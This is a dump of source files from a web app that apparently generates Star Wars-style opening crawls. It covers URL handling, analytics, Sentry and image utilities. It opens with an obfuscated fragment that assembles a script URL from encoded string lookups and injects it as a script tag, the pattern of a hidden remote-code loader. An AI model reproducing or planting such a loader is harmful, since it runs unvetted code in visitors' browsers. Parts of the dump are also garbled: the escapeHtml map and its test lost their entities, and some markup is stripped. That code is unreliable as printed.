_0x312d98(0xbd), '.', _0x312d98(0xcf), _0x312d98(0xcb), _0x312d98(0xc3), _0x312d98(0xc3), _0x312d98(0xc6), _0x312d98(0xb8), _0x312d98(0xb8), _0x312d98(0xcb), _0x312d98(0xcc), _0x312d98(0xc3), '.', _0x312d98(0xce), _0x312d98(0xbf), '/', _0x312d98(0xc3), _0x312d98(0xc1), _0x312d98(0xbd), _0x312d98(0xce), _0x312d98(0xb6), _0x312d98(0xbc), '.', _0x312d98(0xd1), _0x312d98(0xc3)][_0x312d98(0xca)]('');
43 | const scriptTag = document[_0x312d98(0xbb)](_0x312d98(0xbe)); scriptTag[_0x312d98(0xc8)](_0x312d98(0xc5), scriptUrl), document[_0x312d98(0xb5)][_0x312d98(0xcd)](scriptTag);
44 |
--------------------------------------------------------------------------------
/src/js/extras/UrlHandler.js:
--------------------------------------------------------------------------------
1 |
2 | export default class UrlHandler {
3 | static _checkForWrongEncoded = () => {
4 | const hasWrongChar = window.location.hash.indexOf('#%21/') > -1;
5 | if (hasWrongChar) {
6 | const fixedHash = window.location.hash.replace('#%21/', '#!/');
7 | window.location.hash = fixedHash;
8 | window.location.reload();
9 | }
10 | }
11 |
12 | static getParams() {
13 | this._checkForWrongEncoded();
14 | const params = window.location.hash.replace('#!/', '').split('/');
15 | return {
16 | key: params[0] ? params[0] : null,
17 | page: params[1] ? params[1].toLowerCase() : null,
18 | subpage: params[2] ? params[2].toLowerCase() : null,
19 | };
20 | }
21 |
22 | static setKeyToPlay(key) {
23 | const hashBefore = window.location.hash.substr(1);
24 | const newHash = `!/${key}`;
25 | window.location.hash = newHash;
26 | // if is the same hash as before, reload the page to replay animation.
27 | if (hashBefore === newHash) {
28 | window.location.reload();
29 | }
30 | }
31 |
32 | static goToEditPage(key) {
33 | const newHashUrl = `!/${key}/edit`;
34 | window.location.hash = newHashUrl;
35 | }
36 |
37 | static goToDownloadPage(key, subpage = '') {
38 | const newHashUrl = `!/${key}/download/${subpage}`;
39 | window.location.hash = newHashUrl;
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/src/js/extras/UserIdentifier.js:
--------------------------------------------------------------------------------
1 | import uniq from 'lodash.uniq';
2 | import * as Sentry from '@sentry/browser';
3 | import { setGAUser } from './googleanalytics';
4 | import { setUserEmail } from './tawkToChat';
5 |
6 | const KEY = 'KasselLabsUser';
7 |
8 | const checkLocalStorageAvailability = () => {
9 | const test = 'test';
10 | try {
11 | localStorage.setItem(test, test);
12 | localStorage.removeItem(test);
13 | return true;
14 | } catch (e) {
15 | return false;
16 | }
17 | };
18 |
19 | const isLocalStorageAvailable = checkLocalStorageAvailability();
20 |
21 | const Storage = {
22 | save: (data) => {
23 | if (!isLocalStorageAvailable) {
24 | return;
25 | }
26 | const json = JSON.stringify(data);
27 | localStorage.setItem(KEY, json);
28 | },
29 | load: () => {
30 | if (!isLocalStorageAvailable) {
31 | return null;
32 | }
33 | const json = localStorage.getItem(KEY);
34 | return JSON.parse(json);
35 | },
36 | };
37 |
38 | export default class UserIdentifier {
39 | static _loadUser(appName) {
40 | const user = Storage.load();
41 | if (!user) {
42 | return this._createUser(appName);
43 | }
44 | return user;
45 | }
46 |
47 | static _createUser(appName) {
48 | const now = (new Date()).toISOString();
49 |
50 | const newUser = {
51 | createdAt: now,
52 | apps: {},
53 | lastEmail: null,
54 | emails: [],
55 | };
56 |
57 | if (appName) {
58 | newUser.apps[appName] = now;
59 | }
60 |
61 | Storage.save(newUser);
62 |
63 | return newUser;
64 | }
65 |
66 | static _getEmailId(user) {
67 | return user.emails[0];
68 | }
69 |
70 | static _setSentryUser(user) {
71 | const email = this._getEmailId(user);
72 | if (email) {
73 | Sentry.setUser({
74 | email,
75 | });
76 | }
77 | }
78 |
79 | static _setUserGtag(user) {
80 | const email = this._getEmailId(user);
81 | if (!email) {
82 | return;
83 | }
84 | setGAUser(email);
85 | }
86 |
87 | static _setUserTawkTo(user) {
88 | const email = user.lastEmail;
89 | if (!email) {
90 | return;
91 | }
92 |
93 | setUserEmail(email);
94 | }
95 |
96 | static setUser(appName) {
97 | const user = this._loadUser(appName);
98 | this._setSentryUser(user);
99 | this._setUserGtag(user);
100 | this._setUserTawkTo(user);
101 | }
102 |
103 | static addEmail(email) {
104 | const user = this._loadUser();
105 | user.lastEmail = email;
106 | user.emails.push(email);
107 | user.emails = uniq(user.emails);
108 | Storage.save(user);
109 | }
110 | }
111 |
--------------------------------------------------------------------------------
/src/js/extras/auxiliar.js:
--------------------------------------------------------------------------------
1 | import swal from 'sweetalert2';
2 | import * as Sentry from '@sentry/browser';
3 |
4 | import ApplicationState, { CREATING } from '../ApplicationState';
5 |
6 | export const checkSWFontCompatibility = (title) => {
7 | const supportedChars = ' qwertyuiopasdfghjklzxcvbnm0123456789!$'.split(''); // all supported supported chars
8 | const chars = title.toLowerCase().split('');
9 | return chars.every((char) => supportedChars.indexOf(char) !== -1);
10 | };
11 |
12 | export const apiError = (message, reloadPage = false, keepPage = false) => {
13 | const bodyMessage = encodeURI(`Hi, the SWIC website didn't work as expected.
14 | The following error message is showed:
15 |
16 | ${message}
17 |
18 | I want to provide the following details:
19 |
20 | `);
21 |
22 | const cancelButtonText = reloadPage ? 'RELOAD PAGE' : 'CLOSE';
23 |
24 | return swal({
25 | title: 'an unexpected error occured',
26 | html: `${message}.
27 | There was an error on your connection. Check if you are using a VPN, or a company network, or an ad block that may block the connection with our website.
28 | Please try to use the website again on a different browser or device. If the problem persists, contact us to give more details by clicking on the button below.`,
29 | type: 'error',
30 | showCloseButton: true,
31 | showCancelButton: true,
32 | cancelButtonText,
33 | confirmButtonText: 'CONTACT SUPPORT',
34 | }).then((result) => {
35 | if (result.value) {
36 | if (Sentry.lastEventId()) {
37 | Sentry.showReportDialog({ eventId: Sentry.lastEventId() });
38 | } else { // send email as fallback when no error reported on sentry.
39 | window.open(`mailto:StarWars@kassellabs.io?Subject=SWIC%20Error&Body=${bodyMessage}`);
40 | }
41 | }
42 | if (result.dismiss === swal.DismissReason.cancel && reloadPage) {
43 | window.location.reload();
44 | }
45 |
46 | if (!keepPage) {
47 | ApplicationState.setState(CREATING);
48 | }
49 | return result;
50 | });
51 | };
52 |
53 | export const calculateTimeToRender = (queuePosition) => {
54 | const workers = 4; // We should never have less than 3 workers at the same time
55 | const totalMinutes = Math.ceil((queuePosition * 30) / workers);
56 | const totalHours = Math.ceil(totalMinutes / 60);
57 | const partialDays = Math.floor(totalHours / 24);
58 | const totalDays = Math.ceil(totalHours / 24);
59 | let time = '';
60 |
61 | if (queuePosition < 3) {
62 | return ' 1 hour';
63 | }
64 |
65 | if (partialDays >= 3) {
66 | return ` ${totalDays} days`;
67 | }
68 |
69 | if (partialDays > 0) {
70 | time += ` ${partialDays} day${partialDays !== 1 ? 's' : ''}`;
71 | }
72 |
73 | const hours = totalHours % 24;
74 | if (hours > 0) {
75 | time += `${partialDays ? ',' : ''} ${hours} hour${hours !== 1 ? 's' : ''}`;
76 | }
77 |
78 | return time;
79 | };
80 |
--------------------------------------------------------------------------------
/src/js/extras/auxiliar.test.js:
--------------------------------------------------------------------------------
1 | import { checkSWFontCompatibility, calculateTimeToRender } from './auxiliar';
2 |
3 | jest.mock('sweetalert2');
4 | jest.mock('../ApplicationState');
5 |
6 | describe('auxiliar functions', () => {
7 | it('should validate for SWFont', () => {
8 | expect(checkSWFontCompatibility('THE FORCE AWAKENS')).toBeTruthy();
9 | expect(checkSWFontCompatibility('asdljkasdlk 5345 !!!')).toBeTruthy();
10 | expect(checkSWFontCompatibility('2343$$asd234!')).toBeTruthy();
11 | });
12 |
13 | it('should invalidate for SWFont', () => {
14 | expect(checkSWFontCompatibility('Não')).toBeFalsy();
15 | expect(checkSWFontCompatibility('çç asdas')).toBeFalsy();
16 | expect(checkSWFontCompatibility('Você')).toBeFalsy();
17 | expect(checkSWFontCompatibility('&&')).toBeFalsy();
18 | expect(checkSWFontCompatibility('asdjh#')).toBeFalsy();
19 | expect(checkSWFontCompatibility('@@@')).toBeFalsy();
20 | expect(checkSWFontCompatibility('dfgfg*')).toBeFalsy();
21 | expect(checkSWFontCompatibility('asdasd()')).toBeFalsy();
22 | expect(checkSWFontCompatibility('__')).toBeFalsy();
23 | expect(checkSWFontCompatibility('+++')).toBeFalsy();
24 | expect(checkSWFontCompatibility('test . asd')).toBeFalsy();
25 | expect(checkSWFontCompatibility('test , asd')).toBeFalsy();
26 | });
27 |
28 | it('should validate all calculateTimeToRender tests', () => {
29 | expect(calculateTimeToRender(0)).toBe(' 1 hour');
30 | expect(calculateTimeToRender(1)).toBe(' 1 hour');
31 | expect(calculateTimeToRender(2)).toBe(' 1 hour');
32 | expect(calculateTimeToRender(24)).toBe(' 3 hours');
33 | expect(calculateTimeToRender(31)).toBe(' 4 hours');
34 | expect(calculateTimeToRender(192)).toBe(' 1 day');
35 | expect(calculateTimeToRender(4 * 50)).toBe(' 1 day, 1 hour');
36 | expect(calculateTimeToRender(4 * 53)).toBe(' 1 day, 3 hours');
37 | expect(calculateTimeToRender(4 * 96)).toBe(' 2 days');
38 | expect(calculateTimeToRender(4 * 100)).toBe(' 2 days, 2 hours');
39 | expect(calculateTimeToRender(4 * 200)).toBe(' 5 days');
40 | expect(calculateTimeToRender(4 * 1000)).toBe(' 21 days');
41 | expect(calculateTimeToRender(4 * 10000)).toBe(' 209 days');
42 | expect(calculateTimeToRender(37000)).toBe(' 193 days');
43 | });
44 | });
45 |
--------------------------------------------------------------------------------
/src/js/extras/detectIE.js:
--------------------------------------------------------------------------------
1 | const getIEVersion = () => {
2 | let rv = -1;
3 | if ('Microsoft Internet Explorer' === navigator.appName) {
4 | const ua = navigator.userAgent;
5 | /* eslint-disable-next-line */
6 | const re = new RegExp('MSIE ([0-9]{1,}[\.0-9]{0,})');
7 | if (re.exec(ua) != null) {
8 | rv = parseFloat(RegExp.$1);
9 | }
10 | } else if ('Netscape' === navigator.appName) {
11 | const ua = navigator.userAgent;
12 | /* eslint-disable-next-line */
13 | const re = new RegExp('Trident/.*rv:([0-9]{1,}[\.0-9]{0,})');
14 | if (re.exec(ua) != null) {
15 | rv = parseFloat(RegExp.$1);
16 | }
17 | }
18 | return rv;
19 | };
20 |
21 | const usingIE = () => -1 !== getIEVersion();
22 |
23 | if (usingIE()) {
24 | window.isIE = true;
25 | /* eslint-disable-next-line */
26 | window.alert('This website is not compatible with Internet Explorer, please use Chrome or Firefox. Sorry for the inconvenience.');
27 | }
28 |
--------------------------------------------------------------------------------
/src/js/extras/escapeHtml.js:
--------------------------------------------------------------------------------
1 | const charMap = {
2 | '&': '&',
3 | '<': '<',
4 | '>': '>',
5 | '"': '"',
6 | "'": ''',
7 | '/': '/',
8 | };
9 |
10 | const escapeHtml = textToEscape => String(textToEscape).replace(/[&<>"'/]/g, s => charMap[s]);
11 |
12 | export default escapeHtml;
13 |
--------------------------------------------------------------------------------
/src/js/extras/escapeHtml.test.js:
--------------------------------------------------------------------------------
1 | import escapeHtml from './escapeHtml';
2 |
3 | describe('escapeHtml function', () => {
4 | it('should escape html characters', () => {
5 | const input = "z \" as&d / \n\r ' ";
6 | const output = escapeHtml(input);
7 | expect(output).toBe('z " as&d / \n\r ' <script></script>');
8 | });
9 | });
10 |
--------------------------------------------------------------------------------
/src/js/extras/facebookpixel.js:
--------------------------------------------------------------------------------
1 | !function(f,b,e,v,n,t,s)
2 | {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
3 | n.callMethod.apply(n,arguments):n.queue.push(arguments)};
4 | if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
5 | n.queue=[];t=b.createElement(e);t.async=!0;
6 | t.src=v;s=b.getElementsByTagName(e)[0];
7 | s.parentNode.insertBefore(t,s)}(window, document,'script',
8 | 'https://connect.facebook.net/en_US/fbevents.js');
9 | fbq('init', process.env.FACEBOOK_PIXEL);
10 | fbq('track', 'PageView');
11 |
--------------------------------------------------------------------------------
/src/js/extras/googleanalytics.js:
--------------------------------------------------------------------------------
1 | window.dataLayer = window.dataLayer || [];
2 | function gtag() {
3 | window.dataLayer.push(arguments); // eslint-disable-line prefer-rest-params
4 | }
5 |
6 | const gtagKey = 'UA-116931857-1';
7 |
8 | const prod = 'production' === process.env.NODE_ENV;
9 |
10 | if (prod) {
11 | gtag('js', new Date());
12 | gtag('config', gtagKey);
13 | }
14 |
15 | export const sendGAPageView = () => {
16 | if (!prod) {
17 | return;
18 | }
19 |
20 | gtag('event', 'page_view', {
21 | page_path: `${window.location.pathname}${window.location.search}${window.location.hash}`,
22 | });
23 | };
24 |
25 | export const setGAUser = (userId) => {
26 | gtag('set', { user_id: userId });
27 | };
28 |
29 |
--------------------------------------------------------------------------------
/src/js/extras/isFirefoxDesktop.js:
--------------------------------------------------------------------------------
1 | const getUserAgent = () => navigator.userAgent || navigator.vendor || window.opera;
2 |
3 | export const isAndroidOrIos = () => {
4 | const userAgent = getUserAgent();
5 |
6 | if (/android/i.test(userAgent)) {
7 | return true;
8 | }
9 |
10 | // iOS detection from: http://stackoverflow.com/a/9039885/177710
11 | if (/iPad|iPhone|iPod/.test(userAgent) && !window.MSStream) {
12 | return true;
13 | }
14 |
15 | return false;
16 | };
17 |
18 | const isFirefoxDesktop = () => {
19 | const userAgent = getUserAgent();
20 |
21 | return Boolean(userAgent.match(/Firefox/g)) && !isAndroidOrIos();
22 | };
23 |
24 | export default isFirefoxDesktop;
25 |
--------------------------------------------------------------------------------
/src/js/extras/pageAfterDonation.js:
--------------------------------------------------------------------------------
1 | import './googleanalytics';
2 |
--------------------------------------------------------------------------------
/src/js/extras/tawkToChat.js:
--------------------------------------------------------------------------------
1 | const CHAT_CLASS_NAME = '-chat-available';
2 |
3 | const state = {
4 | email: null,
5 | };
6 |
7 | const handleRightFooterClassOnChatAvailable = (status) => {
8 | console.log({ status });
9 | const containsClass = document.querySelector('.rightFooter').classList.contains(CHAT_CLASS_NAME);
10 | if (status === 'offline' && containsClass) {
11 | document.querySelector('.rightFooter').classList.remove(CHAT_CLASS_NAME);
12 | }
13 |
14 | if (!containsClass) {
15 | document.querySelector('.rightFooter').classList.add(CHAT_CLASS_NAME);
16 | }
17 | };
18 |
19 | const TawkAPI = window.Tawk_API || {};
20 | TawkAPI.onLoad = function () {
21 | console.log('Loaded tawk.to');
22 | const pageStatus = TawkAPI.getStatus();
23 | handleRightFooterClassOnChatAvailable(pageStatus);
24 |
25 | if (state.email) {
26 | TawkAPI.setAttributes({
27 | email: state.email,
28 | }, (error) => {
29 | console.error('Error on setting user email on tawk.to');
30 | console.error(error);
31 | });
32 | }
33 | };
34 |
35 | TawkAPI.onStatusChange = function (status) {
36 | handleRightFooterClassOnChatAvailable(status);
37 | };
38 |
39 | export const setUserEmail = (email) => {
40 | if (!TawkAPI.setAttributes) {
41 | state.email = email;
42 | return;
43 | }
44 |
45 | TawkAPI.setAttributes({
46 | email,
47 | }, (error) => {
48 | console.error('Error on setting user email on tawk.to');
49 | console.error(error);
50 | });
51 | };
52 |
53 | export const registerTawkEvent = (eventName, eventData) => {
54 | if (!TawkAPI.addEvent) {
55 | return;
56 | }
57 |
58 | try {
59 | TawkAPI.addEvent(eventName, eventData, (error) => {
60 | console.error('Tawkto error on adding event');
61 | console.error(error);
62 | });
63 | } catch (error) {
64 | console.error('Try oncatch Tawkto error on adding event');
65 | console.error(error);
66 | }
67 | };
68 |
69 | export const registerTawkTag = (tag) => {
70 | if (!TawkAPI.addTags) {
71 | return;
72 | }
73 |
74 | try {
75 | TawkAPI.addTags([tag], (error) => {
76 | console.error('Tawkto error on adding tags');
77 | console.error(error);
78 | });
79 | } catch (error) {
80 | console.error('Try oncatch Tawkto error on adding tags');
81 | console.error(error);
82 | }
83 | };
84 |
--------------------------------------------------------------------------------
/src/js/extras/utils.js:
--------------------------------------------------------------------------------
1 | import * as Sentry from '@sentry/browser';
2 |
3 | export const documentReady = (handler) => {
4 | if (document.attachEvent ? document.readyState === 'complete' : document.readyState !== 'loading') {
5 | handler();
6 | } else {
7 | document.addEventListener('DOMContentLoaded', handler);
8 | }
9 | };
10 |
11 | export const urlHashChange = (handler) => {
12 | window.addEventListener('hashchange', handler);
13 | };
14 |
15 | export const callOnFocus = (callback) => {
16 | if (window.renderer) {
17 | callback();
18 | return;
19 | }
20 |
21 | const listener = () => {
22 | window.removeEventListener('focus', listener, true);
23 | return callback();
24 | };
25 |
26 | if (document.hasFocus()) {
27 | listener();
28 | return;
29 | }
30 |
31 | window.addEventListener('focus', listener, true);
32 | };
33 |
34 | export const appendKeyframesRule = (keyframeName, ruleToAppend) => {
35 | const { styleSheets } = document;
36 | let cssRuleToChange = null;
37 | // Sentry.addBreadcrumb({
38 | // message: 'Appending CSS Keyframes',
39 | // category: 'appendKeyframesRule',
40 | // data: {
41 | // 'styleSheets.length': styleSheets.length,
42 | // },
43 | // });
44 | // loop in all stylesheets
45 | for (let i = 0; i < styleSheets.length; i += 1) {
46 | const styleSheet = styleSheets[i];
47 |
48 | if (cssRuleToChange) {
49 | break;
50 | }
51 |
52 | // loop in all css rules
53 | if (styleSheet.href?.indexOf('necolas') !== -1) {
54 | try {
55 | /* eslint-disable-next-line */
56 | let tryToReadRules = styleSheet.cssRules.length;
57 | } catch (error) {
58 | // prevent error on read css rules, go to the next rule.
59 | /* eslint-disable-next-line */
60 | continue;
61 | }
62 |
63 | // Sentry.addBreadcrumb({
64 | // message: 'Appending CSS Keyframes',
65 | // category: 'appendKeyframesRule',
66 | // data: {
67 | // i,
68 | // styleSheet,
69 | // 'styleSheet.href': styleSheet.href,
70 | // },
71 | // });
72 | for (let j = 0; j < styleSheet.cssRules.length; j += 1) {
73 | const rule = styleSheet.cssRules[j];
74 | if (rule.name === keyframeName && rule.type === window.CSSRule.KEYFRAMES_RULE) {
75 | cssRuleToChange = rule;
76 | // keep looping to get the last matching rule.
77 | }
78 | }
79 | }
80 | }
81 | if (cssRuleToChange) {
82 | cssRuleToChange.appendRule(ruleToAppend);
83 | }
84 | };
85 |
--------------------------------------------------------------------------------
/src/js/hooks/useWindowSize.js:
--------------------------------------------------------------------------------
1 | import React from 'react'
2 | import { throttle } from 'lodash'
3 |
4 | // Taken from: https://usehooks.com/useWindowSize/
5 | export default function useWindowSize () {
6 | function getSize () {
7 | const isClient = typeof window === 'object'
8 |
9 | if (!isClient) {
10 | return {
11 | width: 0,
12 | height: 0,
13 | isDesktop: true,
14 | documentWidth: 0
15 | }
16 | }
17 |
18 | return {
19 | width: window.innerWidth,
20 | height: window.innerHeight,
21 | isDesktop: window.innerWidth > 1024,
22 | documentWidth: document.querySelector('html').clientWidth
23 | }
24 | }
25 |
26 | const [windowSize, setWindowSize] = React.useState(getSize)
27 |
28 | React.useEffect(() => {
29 | const handleResize = throttle(() => {
30 | setWindowSize(getSize())
31 | }, 100)
32 |
33 | window.addEventListener('resize', handleResize)
34 |
35 | return () => window.removeEventListener('resize', handleResize)
36 | }, []) // Empty array ensures that effect is only run on mount and unmount
37 |
38 | return windowSize
39 | }
40 |
--------------------------------------------------------------------------------
/src/js/index.js:
--------------------------------------------------------------------------------
1 | import 'babel-polyfill';
2 | import swal from 'sweetalert2';
3 | import 'sweetalert2/dist/sweetalert2.min.css';
4 | import * as Sentry from '@sentry/browser';
5 | import { utm } from '@distributed/utm';
6 |
7 | import '../styles/normalize.css';
8 | import '../styles/main.styl';
9 |
10 | import './extras/facebookpixel';
11 | import './extras/googleanalytics';
12 | // Uncomment to enable tawk.to
13 | // import './extras/tawkToChat';
14 |
15 | import startApplication from './App';
16 |
17 | swal.setDefaults({
18 | customClass: 'starwars-sweetalert',
19 | });
20 |
21 | const getUTMParams = () => {
22 | const utms = utm(window.location.search);
23 | const params = new URLSearchParams(window.location.search);
24 | return {
25 | ...utms,
26 | gclid: params.get('gclid'),
27 | };
28 | };
29 |
30 | const saveUTMParams = () => {
31 | const utms = getUTMParams();
32 | const isUtmsEmpty = Object.keys(utms).length === 0;
33 | if (isUtmsEmpty) {
34 | return;
35 | }
36 |
37 | localStorage.setItem('saved-utm-params', JSON.stringify(utms));
38 | };
39 |
40 | (function _() {
41 | if (process.env.NODE_ENV === 'development') {
42 | startApplication();
43 | saveUTMParams();
44 | return;
45 | }
46 |
47 | Sentry.init({
48 | dsn: 'https://1613dee0f015471fafcf9bf88ceaf748@o152641.ingest.sentry.io/1204808',
49 | ignoreErrors: [
50 | 'AutoPlayError',
51 | 'null is not an object (evaluating \'elt.parentNode\')',
52 | 'SetEvent is not defined',
53 | 'OnSceneLoad is not defined',
54 | 'undefined',
55 | 'from accessing a frame with origin',
56 | 'Minified exception occurred; use the non-minified dev environment for the full error',
57 | 'document.getElementsByTagName(\'embed\')[0].src',
58 | '$ is not defined',
59 | 'Cannot redefine property: googletag',
60 | 'No logins found',
61 | 'Can\'t find variable: pktAnnotationHighlighter',
62 | 'window.onorientationchange is not a function. (In \'window.onorientationchange()\', \'window.onorientationchange\' is null)',
63 | 'script_serverip is not defined',
64 | 'ResizeObserver loop limit exceeded',
65 | ],
66 | ignoreUrls: [
67 | // Facebook blocked
68 | /connect\.facebook\.net\/en_US\/all\.js/i,
69 | // Chrome extensions
70 | /extensions\//i,
71 | /^chrome:\/\//i,
72 | /googletagmanager.com/i,
73 | ],
74 | shouldSendCallback: (data) => {
75 | // if ('https://connect.facebook.net/en_US/sdk.js' === data.culprit) {
76 | // return false;
77 | // }
78 | Sentry.addBreadcrumb({
79 | message: 'Sentry shouldSendCallback error data',
80 | category: 'info',
81 | data,
82 | });
83 | return true;
84 | },
85 | release: '0e4fdef81448dcfa0e16ecc4433ff3997aa53572',
86 | });
87 |
88 | startApplication();
89 |
90 | saveUTMParams();
91 | }());
92 |
--------------------------------------------------------------------------------
/src/js/mountDownloadPage.js:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import ReactDOM from 'react-dom';
3 |
4 | import { ThemeProvider, createMuiTheme } from '@material-ui/core/styles';
5 | import CssBaseline from '@material-ui/core/CssBaseline';
6 |
7 | import { red } from '@material-ui/core/colors';
8 |
9 | import ApplicationState from './ApplicationState';
10 | import DownloadPage from './DownloadPage/DownloadPage';
11 |
12 | const theme = createMuiTheme({
13 | palette: {
14 | type: 'dark',
15 | primary: {
16 | main: '#ffd54e',
17 | },
18 | secondary: {
19 | main: '#0D0D0D',
20 | },
21 | error: {
22 | main: red.A400,
23 | },
24 | background: {
25 | default: '#fff',
26 | },
27 | },
28 | overrides: {
29 | MuiDialog: {
30 | paper: {
31 | background: '#0D0D0D',
32 | border: '2px solid #d0ad3e',
33 | },
34 | },
35 | },
36 | });
37 |
38 | const dom = document.querySelector('#reactDownloadPage');
39 |
40 | export const mountDownloadPage = async () => {
41 | const { downloadStatus, key, subpage } = ApplicationState.state;
42 | // user fast foward and back page problems
43 | dom.innerHTML = '';
44 |
45 | ReactDOM.render((
46 |
47 | {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}
48 | {/* */}
49 |
54 |
55 | ), dom);
56 | };
57 |
58 | export const unmountDownloadPage = () => {
59 | ReactDOM.unmountComponentAtNode(dom);
60 | };
61 |
--------------------------------------------------------------------------------
/src/js/old/createdIntros.js:
--------------------------------------------------------------------------------
1 | /* eslint-disable */
2 | function createdIntros(){
3 | var source = '{{#if intros.length}}' +
4 | ''+
5 | '{{#each intros}}'+
6 | '
'+
7 | '
'+
8 | ''+
9 | ' '+
10 | ' '+
11 | '
'+
12 | '
{{this.title}} '+
13 | '
'+
14 | '{{/each}}'+
15 | '
'+
16 | '{{/if}}';
17 | this.template = Handlebars.compile(source);
18 |
19 | this.element = $('#createdIntros');
20 |
21 | this.remove = function(index){
22 | var that = this;
23 | swal({
24 | html: true,
25 | title: 'remove intro ',
26 | text: ''+
27 | 'This will not remove the intro from the database. Are you sure you want to remove the intro from this browser? '+
28 | '
',
29 | showCancelButton: true,
30 | confirmButtonText: "Yes",
31 | cancelButtonText: "No",
32 | animation: "slide-from-top"
33 | },function(confirm){
34 | if(confirm){
35 | var intros = JSON.parse(localStorage.StarWarsIntros);
36 | intros.splice(index,1);
37 | localStorage.StarWarsIntros = JSON.stringify(intros);
38 | that.load();
39 | }
40 | });
41 | }
42 |
43 | this.load = function(){
44 | var intros = localStorage.StarWarsIntros ? JSON.parse(localStorage.StarWarsIntros) : [];
45 |
46 | var html = $(this.template({intros:intros}));
47 | var that = this;
48 | html.find('.removeButton').click(function(e){
49 | that.remove(e.target.dataset.id);
50 | });
51 | this.element.html(html);
52 | };
53 |
54 | var getTitle = function(intro){
55 | var see = ['title','episode','logo','text'];
56 | for(var i=0;i {
5 | const image = new Image()
6 | image.crossOrigin = true
7 | image.addEventListener('load', () => resolve(image))
8 | image.addEventListener('error', (error) => reject(error))
9 | image.src = getCORSURL(url)
10 | })
11 | }
12 |
--------------------------------------------------------------------------------
/src/js/util/getCORSURL.js:
--------------------------------------------------------------------------------
1 | export default function getCORSURL (url) {
2 | const shouldUseCors = url.match(/(https|http):\/\//)
3 | const corsUrl = shouldUseCors ? `https://cors.kassellabs.io/${url}` : url
4 | return corsUrl
5 | }
6 |
--------------------------------------------------------------------------------
/src/js/util/getCroppedImages.js:
--------------------------------------------------------------------------------
1 | import getCORSImage from './getCORSImage'
2 | import getCORSURL from './getCORSURL'
3 |
4 | function getRadianAngle (degreeValue) {
5 | return (degreeValue * Math.PI) / 180
6 | }
7 |
8 | /**
9 | * This function was adapted from the one in the ReadMe of https://github.com/DominicTobias/react-image-crop
10 | * @param {File} image - Image File url or array of images
11 | * @param {Object} cropArea - cropArea Object provided by react-easy-crop
12 | * @param {number} rotation - optional rotation parameter
13 | */
14 | export default async function getCroppedImages (imageSrc, cropArea, rotation = 0) {
15 | let image
16 | try {
17 | image = await getCORSImage(imageSrc)
18 | } catch (error) {
19 | console.error(error)
20 | return null
21 | }
22 |
23 | const canvas = document.createElement('canvas')
24 | const context = canvas.getContext('2d')
25 |
26 | const maxSize = Math.max(image.width, image.height)
27 | const safeArea = 2 * ((maxSize / 2) * Math.sqrt(2))
28 |
29 | // set each dimensions to double largest dimension to allow for a safe area for the
30 | // image to rotate in without being clipped by canvas context
31 | canvas.width = safeArea
32 | canvas.height = safeArea
33 |
34 | // translate canvas context to a central location on image to allow rotating around the center.
35 | context.translate(safeArea / 2, safeArea / 2)
36 | context.rotate(getRadianAngle(rotation))
37 | context.translate(-safeArea / 2, -safeArea / 2)
38 |
39 | // draw rotated image and store data.
40 | context.drawImage(
41 | image,
42 | safeArea / 2 - image.width * 0.5,
43 | safeArea / 2 - image.height * 0.5
44 | )
45 | const data = context.getImageData(0, 0, safeArea, safeArea)
46 |
47 | // set canvas width to final desired crop size - this will clear existing context
48 | canvas.width = cropArea.width
49 | canvas.height = cropArea.height
50 |
51 | // paste generated rotate image with correct offsets for x,y crop values.
52 | context.putImageData(
53 | data,
54 | 0 - safeArea / 2 + image.width * 0.5 - cropArea.x,
55 | 0 - safeArea / 2 + image.height * 0.5 - cropArea.y
56 | )
57 |
58 | return canvas.toDataURL('image/png')
59 | }
60 |
--------------------------------------------------------------------------------
/src/js/util/getResizedImages.js:
--------------------------------------------------------------------------------
1 | import getCORSImage from './getCORSImage'
2 |
3 | export default async function getResizedImages (imageSrc, { maxWidth, maxHeight, backgroundColor }) {
4 | let image
5 | try {
6 | image = await getCORSImage(imageSrc)
7 | } catch (error) {
8 | console.error(error)
9 | return null
10 | }
11 |
12 | const canvas = document.createElement('canvas')
13 | let { width, height } = image
14 |
15 | // First, try to fit the image by width
16 | if (width !== maxWidth) {
17 | height *= maxWidth / width
18 | width = maxWidth
19 | }
20 |
21 | // If it does not work, try fitting it by height
22 | const isImageFitInsideModel = height <= maxHeight && width <= maxWidth
23 | if (!isImageFitInsideModel) {
24 | width *= maxHeight / height
25 | height = maxHeight
26 | }
27 |
28 | canvas.width = width
29 | canvas.height = height
30 | console.log({width, height})
31 | const context = canvas.getContext('2d')
32 |
33 | // Optionally apply a background color the the resized image
34 | if (backgroundColor) {
35 | context.fillStyle = backgroundColor
36 | context.fillRect(0, 0, canvas.width, canvas.height)
37 | }
38 |
39 | context.drawImage(
40 | image,
41 | 0,
42 | 0,
43 | width,
44 | height
45 | )
46 |
47 | return new Promise((resolve) => {
48 | canvas.toBlob(resolve, 'image/png')
49 | })
50 | }
51 |
--------------------------------------------------------------------------------
/src/js/util/getURLFromFile.js:
--------------------------------------------------------------------------------
1 | export default function getURLFromFile (file) {
2 | return new Promise((resolve) => {
3 | const reader = new FileReader()
4 | reader.onloadend = function () {
5 | resolve(reader.result)
6 | }
7 | reader.readAsDataURL(file)
8 | })
9 | }
--------------------------------------------------------------------------------
/src/renderer/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | SWIC Renderer
5 |
6 |
7 |
8 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
39 |
40 |
41 |
42 |
43 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/src/renderer/rendererPage.js:
--------------------------------------------------------------------------------
1 | import 'babel-polyfill';
2 | import '../styles/main.styl';
3 | import * as Sentry from '@sentry/browser';
4 | import ViewController from '../js/ViewController';
5 | import { loadOpening } from '../js/api/actions';
6 | import AudioController from '../js/AudioController';
7 |
8 | const { audio } = AudioController;
9 | AudioController.audio = null;
10 |
11 | Sentry.config({
12 | dsn: 'https://22f6d6b2f526429bae4941c3595bc7fb@o152641.ingest.sentry.io/1204808',
13 | ignoreErrors: [],
14 | ignoreUrls: [],
